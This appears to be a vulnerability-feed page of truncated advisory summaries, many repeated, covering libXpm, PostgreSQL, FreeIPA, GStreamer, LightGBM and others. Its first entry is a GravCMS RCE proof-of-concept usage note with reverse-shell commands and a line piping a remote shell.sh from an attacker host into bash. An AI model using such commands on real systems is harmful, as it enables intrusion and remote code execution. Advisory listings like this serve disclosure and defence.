CVE-2021-21425

CVE-2021-21425 - GravCMS 未授权 RCE 针对 CVE-2021-21425 的改进版概念验证，该漏洞是 GravCMS 自定义命令 python3 exploit.py -t http://target -c "id" 示例 在目标上获取反向 shell python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444 执行命令 python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash" 依赖要...

CVE-2026-94287

A flaw was found in libXpm. An unsigned integer underflow vulnerability exists in the library's write path when processing image data. A local attacker could exploit this issue by convincing a user or application to process a specially crafted file, causing unbounded CPU and memory consumption th...

CVE-2026-94287 Denial of service via unsigned underflow in libXpm's write path

A denial of service via unsigned underflow in libXpm's write path in libXpm before 3.5.19 could be used by local attackers to cause unbounded CPU usage and memory exhaustion...

CVE-2026-94287 Denial of service via unsigned underflow in libXpm's write path

A denial of service via unsigned underflow in libXpm's write path in libXpm before 3.5.19 could be used by local attackers to cause unbounded CPU usage and memory exhaustion...

CVE-2026-94287 Denial of service via unsigned underflow in libXpm's write path

A denial of service via unsigned underflow in libXpm's write path in libXpm before 3.5.19 could be used by local attackers to cause unbounded CPU usage and memory exhaustion...

EUVD-2026-88179

A denial of service via unsigned underflow in libXpm's write path in libXpm before 3.5.19 could be used by local attackers to cause unbounded CPU usage and memory exhaustion...

CVE-2026-94287

A denial of service via unsigned underflow in libXpm's write path in libXpm before 3.5.19 could be used by local attackers to cause unbounded CPU usage and memory exhaustion...

CVE-2026-94287

A denial of service via unsigned underflow in libXpm's write path in libXpm before 3.5.19 could be used by local attackers to cause unbounded CPU usage and memory exhaustion...

Exploit for Write-what-where Condition in Linux Linux_Kernel

DirtyFrag-Galaxy 한국어 · English DirtyFragCVE-20...

gstreamer-plugins-good: GStreamer: Remote code execution via MRF file parsing

A flaw was found in GStreamer. This out-of-bounds write vulnerability occurs during the parsing of MRF files due to improper validation of user-supplied data. A remote attacker could exploit this by tricking a user into visiting a malicious page or opening a malicious file. Successful exploitatio...

Security Bulletin: Impacted IBM Optim for z/OS 1.0.0, 1.1.0 and 1.2.0 by vulnerabilities in jackc/Pgx, cloudflare/cfSSL, x/net

Summary IBM Optim for z/OS version 1.0.0, 1.1.0 and 1.2.0 depends on open-source packages jackc/Pgx, cloudflare/cfSSL and x/net which are affected by medium, high and critical severity vulnerabilities. IBM Optim for z/OS 2.0.0 resolves these vulnerabilities by upgrading the affected open-source...

postgresql: PostgreSQL: Arbitrary code execution via integer wraparound in tsvector and tsquery functions

A flaw was found in PostgreSQL. An unprivileged database user can exploit an integer wraparound vulnerability in the tsvector and tsquery data type functions. By providing crafted large inputs, the server can be forced to undersize an allocation, leading to an out-of-bounds write. This could...

postgresql: PostgreSQL: Arbitrary code execution via integer wraparound in tsvector and tsquery functions

A flaw was found in PostgreSQL. An unprivileged database user can exploit an integer wraparound vulnerability in the tsvector and tsquery data type functions. By providing crafted large inputs, the server can be forced to undersize an allocation, leading to an out-of-bounds write. This could...

postgresql: pltcl: plperl: PostgreSQL: Arbitrary code execution in 32-bit pltcl and plperl

A flaw was found in PostgreSQL. An integer wraparound vulnerability in 32-bit builds of pltcl and plperl allows an object creator to cause the server to undersize an allocation and write out-of-bounds via crafted function bodies. This can lead to arbitrary code execution as the operating system...

postgresql: PostgreSQL: Arbitrary code execution via integer wraparound in tsvector and tsquery functions

A flaw was found in PostgreSQL. An unprivileged database user can exploit an integer wraparound vulnerability in the tsvector and tsquery data type functions. By providing crafted large inputs, the server can be forced to undersize an allocation, leading to an out-of-bounds write. This could...

CVE-2026-92786

A flaw was found in LightGBM. The software does not properly validate data within text models, which can be exploited by an attacker. By crafting a malicious model file, an attacker can trigger an out-of-bounds write during the SHAP prediction process. This vulnerability could lead to arbitrary...

freeipa: ipa: FreeIPA: trust-fetch-domains uses trust-read ACI to gate a privileged AD trust refresh, allowing unauthorized LDAP writes

A flaw was found in FreeIPA. The trust-fetch-domains command is gated by a read-only permission on the trust object rather than a trust-administration permission, allowing an authenticated, non-privileged IPA user to trigger a privileged Active Directory trust refresh using an attacker-supplied...

ipa: Privilege escalation via krbCanonicalName manipulation due to realm-unaware uniqueness enforcement in FreeIPA LDAP datastore

A privilege escalation flaw was found in FreeIPA. The uniqueness constraint enforced on Kerberos principal name attributes in the 389-ds directory server does not properly account for equivalent representations of the same principal name, allowing a user with sufficient LDAP write privileges to...

postgresql: PostgreSQL: Arbitrary code execution via integer wraparound in tsvector and tsquery functions

A flaw was found in PostgreSQL. An unprivileged database user can exploit an integer wraparound vulnerability in the tsvector and tsquery data type functions. By providing crafted large inputs, the server can be forced to undersize an allocation, leading to an out-of-bounds write. This could...

postgresql: PostgreSQL: Arbitrary code execution via integer wraparound in tsvector and tsquery functions

A flaw was found in PostgreSQL. An unprivileged database user can exploit an integer wraparound vulnerability in the tsvector and tsquery data type functions. By providing crafted large inputs, the server can be forced to undersize an allocation, leading to an out-of-bounds write. This could...